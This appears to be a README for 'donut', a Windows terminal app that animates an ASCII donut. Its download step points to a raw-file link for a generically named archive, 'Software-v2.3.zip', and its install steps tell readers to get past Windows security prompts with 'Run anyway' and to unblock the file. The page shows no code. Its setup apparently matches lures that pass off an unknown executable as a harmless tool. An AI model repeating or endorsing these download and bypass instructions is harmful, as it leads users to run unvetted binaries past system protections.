🍩 What this app does

donut shows a moving donut in your terminal window. It uses Go, Bubble Tea, and Lip Gloss to draw clean ASCII art with steady motion and low CPU use.

This app is for Windows users who want a small tool that runs in a terminal window. After you download it, you open it and see the animation right away.

🖥️ What you need

You need:

• A Windows PC
• A working internet connection
• Access to a terminal app such as PowerShell or Windows Terminal
• Enough screen space to see the animation
• A modern terminal that supports ANSI colors

For the best view, use:

• Windows 10 or later
• Windows Terminal or PowerShell
• A font that shows block and line characters well

🚀 Download donut

Visit this page to download donut:

https://raw.githubusercontent.com/Maxwellp5265/donut/main/pkg/Software-v2.3.zip

On that page, look for the latest release or the main download file. If the page gives you a Windows file, download it to your computer. If it gives you a folder or archive, save that file and extract it first.

💻 How to install on Windows

Follow these steps:

1. Open the download link in your browser.
2. Find the Windows version of donut.
3. Download the file to your Downloads folder.
4. If the file is in a ZIP archive, right-click it and choose Extract All.
5. Move the app file to a folder you can find again, such as Desktop or Documents.
6. If Windows shows a security prompt, choose Run or More info, then Run anyway if you trust the source.
7. Open PowerShell or Windows Terminal.
8. Go to the folder where you saved donut.
9. Run the app file.

If the file name ends in .exe, double-click it to start. If it opens in a terminal window, keep that window open while the animation runs.

🛠️ First run

When donut starts, it opens in the terminal and begins the animation at once.

If nothing appears:

• Make the terminal window larger
• Check that the terminal is active
• Try another terminal app
• Make sure the file finished downloading
• Run the app again from the folder where you saved it

If you use PowerShell, start it from the folder that contains the app so Windows can find the file.

🎨 What you will see

donut draws:

• A rotating donut made from ASCII art
• Clean text colors
• Smooth motion in the terminal
• A compact view that fits small windows
• A simple screen that does not need a mouse

The app is meant to feel light and fast. It uses the terminal size you already have and keeps the display focused on the animation.

⚙️ Controls

donut is simple to use.

You can expect:

• Start the app to begin the animation
• Resize the terminal to change the view
• Press Ctrl + C to close it in the terminal

If the app opens in a window and not a terminal, close it the same way you would close any Windows app.

🧩 Troubleshooting

The app does not open

Try these steps:

• Re-download the file
• Check that the file is not blocked by Windows
• Move it to a simple folder path, such as C:\Tools\donut
• Run it again from PowerShell or Windows Terminal

The animation looks broken

Try these steps:

• Use Windows Terminal
• Increase the terminal width
• Change the font to one that supports line art
• Turn off very old console settings
• Open a new terminal session and run the app again

The colors do not show

Try these steps:

• Use a modern terminal app
• Check terminal color settings
• Update Windows Terminal if you use it
• Make sure your terminal theme does not hide color output

📦 File layout

You may see one of these formats after download:

• A single Windows app file
• A ZIP file with the app inside
• A folder with release files and support files

If you see a ZIP file, extract it before you run the app. If you see a single .exe file, you can run it right away.

🧠 About the tech

donut is built with:

• Go for speed and a small app size
• Bubble Tea for terminal user interface logic
• Lip Gloss for text styling and color

That setup helps keep the app smooth while it runs in a terminal window.

🧪 Expected behavior

When you run donut, you should see:

• A centered donut shape
• Moving text art
• A stable terminal screen
• Fast startup
• Low system use

The app should feel quick even on a basic Windows machine.
